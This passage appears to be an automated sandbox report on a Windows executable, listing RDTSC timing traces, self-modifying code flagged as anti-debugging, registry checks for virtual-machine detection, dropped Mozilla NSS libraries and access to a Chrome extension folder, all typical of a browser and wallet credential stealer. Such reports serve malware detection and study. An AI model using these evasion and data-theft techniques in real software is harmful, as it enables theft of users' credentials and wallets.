Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8795C7 second address: 8795CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87746B second address: 877487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jl 00007EFF30CD38F6h 0x0000000e popad 0x0000000f pushad 0x00000010 jno 00007EFF30CD38F6h 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877487 second address: 8774AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jne 00007EFF30E2BC69h 0x0000000c jmp 00007EFF30E2BC53h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8774AA second address: 8774B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EEB3 second address: 87EED2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007EFF30E2BC52h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895868 second address: 89586E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89968F second address: 899693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4132 second address: 8A4136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4136 second address: 8A4142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007EFF30E2BC46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4142 second address: 8A4147 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A58B0 second address: 8A58BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AAF98 second address: 8AAFBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30CD38FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007EFF30CD3902h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AAFBE second address: 8AAFE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC4Fh 0x00000007 jmp 00007EFF30E2BC53h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AAFE7 second address: 8AAFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB6AB second address: 8AB6CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007EFF30E2BC46h 0x0000000a pop ecx 0x0000000b jmp 00007EFF30E2BC57h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB6CD second address: 8AB6EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30CD3906h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB6EB second address: 8AB6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB6F4 second address: 8AB6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB6F8 second address: 8AB6FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFD73 second address: 8AFD77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFD77 second address: 8AFD87 instructions: 0x00000000 rdtsc 0x00000002 jg 00007EFF30E2BC46h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFD87 second address: 8AFD8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF997 second address: 8AF9AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFF30E2BC53h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF9AE second address: 8AF9B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF9B2 second address: 8AF9B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFAC7 second address: 8AFAD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFAD5 second address: 8AFAD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFAD9 second address: 8AFADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3257 second address: 8C3263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007EFF30E2BC46h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C30E1 second address: 8C30FC instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFF30CD38FEh 0x00000008 pushad 0x00000009 jno 00007EFF30CD38F6h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF4D4 second address: 8CF4E4 instructions: 0x00000000 rdtsc 0x00000002 je 00007EFF30E2BC46h 0x00000008 ja 00007EFF30E2BC46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF1A7 second address: 8CF1D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30CD3901h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007EFF30CD3904h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E01A9 second address: 8E01AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E01AD second address: 8E01B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E01B3 second address: 8E01BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E01BD second address: 8E01C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E01C1 second address: 8E01D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC51h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E01D8 second address: 8E01F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 push esi 0x00000008 pop esi 0x00000009 popad 0x0000000a push edx 0x0000000b jmp 00007EFF30CD38FDh 0x00000010 pop edx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E01F7 second address: 8E022B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007EFF30E2BC55h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFF30E2BC56h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E022B second address: 8E022F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E022F second address: 8E0233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0233 second address: 8E0239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0A5F second address: 8E0A69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007EFF30E2BC46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0A69 second address: 8E0A77 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0A77 second address: 8E0A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 jmp 00007EFF30E2BC51h 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007EFF30E2BC46h 0x00000014 jnl 00007EFF30E2BC46h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0D70 second address: 8E0D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0D76 second address: 8E0D7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0D7C second address: 8E0D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0EE3 second address: 8E0EE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1055 second address: 8E105A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E105A second address: 8E1060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1060 second address: 8E1071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007EFF30CD38F6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3FD6 second address: 8E4010 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pushad 0x0000000c jno 00007EFF30E2BC48h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007EFF30E2BC54h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E42C4 second address: 8E42E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007EFF30CD3906h 0x0000000f jmp 00007EFF30CD3900h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E42E3 second address: 8E42E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E42E9 second address: 8E42ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E42ED second address: 8E4351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007EFF30E2BC4Ch 0x0000000e push dword ptr [ebp+122D339Ah] 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007EFF30E2BC48h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov edx, 00E7B0F0h 0x00000033 mov edx, dword ptr [ebp+122D36A0h] 0x00000039 call 00007EFF30E2BC49h 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007EFF30E2BC4Dh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4351 second address: 8E435A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E435A second address: 8E4373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFF30E2BC4Dh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4373 second address: 8E4377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4377 second address: 8E4385 instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFF30E2BC46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8D5A second address: 8E8D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8D64 second address: 8E8D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFF30E2BC4Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548031E second address: 548033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30CD3908h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548033A second address: 5480340 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480340 second address: 5480344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801B6C second address: 801B7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801B7D second address: 801B98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFF30CD3907h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801D7E second address: 801D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801D82 second address: 801D93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801D93 second address: 801D9D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFF30E2BC46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54809AC second address: 54809B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54809B0 second address: 54809CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54809CD second address: 54809D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 36A2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54809D6 second address: 5480A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007EFF30E2BC56h 0x0000000d xchg eax, ebp 0x0000000e jmp 00007EFF30E2BC50h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007EFF30E2BC57h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480A20 second address: 5480A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 661CE4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7F277A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7F2F0C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8217A3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 661CDC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 884E2B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004016D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00413EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004138B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00414570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

